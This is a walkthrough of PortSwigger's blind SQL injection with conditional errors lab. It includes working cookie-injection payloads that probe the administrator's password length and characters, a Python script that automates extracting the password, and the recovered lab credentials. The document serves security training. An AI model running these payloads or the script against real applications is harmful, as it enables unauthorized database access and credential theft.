Portswigger - Blind SQL injection with conditional errors
Lab 12 regarding the SQL Injection vulnerability from PortSwigger.
Basically, the issue with the application lies in the cookie, more specifically in the TrackingId field, which is a tracking cookie used for Analytics. In the challenge description itself, some information regarding the database is provided. It is known that there is a table called "users" with columns for username and password. By performing manual tests on the application, it was possible to achieve a boolean-based validation for the "administrator" user.
' ||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '--
The cheat-sheet from PortSwigger itself was used as a source to reach the conclusion of the boolean-based validation and the entire process of exploitation.
Cheatsheet SQL Injection by Portswigger
Validating User
After performing the user validation, it was necessary to validate the size of the administrator's password to proceed with the extraction.
Validating Password Length
' ||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' AND LENGTH(password)>=21) || '--
- If it returns an error, it implies that the information is true in the database.
- If it returns 200, it implies that the information is false in the database.
Exploit
Well, after validating the "administrator" user, the size of their password was checked. If the password is greater than or equal to 20, it returns an error, meaning it's true. However, if the password is greater than or equal to 21, it returns 200, indicating it's false. Therefore, the administrator's password has 20 characters, and we can start the extraction. To extract the password, it will be necessary to do it character by character. There are several ways to automate the process, one of which is using the Intruder tool in Burp Suite. However, in this case, a simple Python script was used to extract the password.
import string
import requests
def exploit(url, TrackingId):
values = string.ascii_lowercase + string.digits
passw = ''
for i in range(1, 21):
for j in range(len(values)):
payload = f"' ||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' AND SUBSTR(password,{i}, 1)='{values[j]}') || '--"
cookie = {'Cookie':TrackingId + payload}
request = requests.get(url, headers=cookie)
print("[*]Finding Password: "+values[j], end='\r')
if(request.status_code == 500):
passw += values[j]
print("[*]Finding Password: "+passw)
break
print("[*]Password Found: "+passw)
def main():
url = 'https://0a7a0093034dcc4dc02638e40079008d.web-security-academy.net/'
TrackingId = 'TrackingId=bAzfrSsqiFgA7gnw'
exploit(url, TrackingId)
if __name__ == "__main__":
main()
Using the script, it was possible to extract the administrator's password and complete the lab.
Logging in with the username and password...
- User: administrator
- Password: 404ukyz9a06o3vgi397h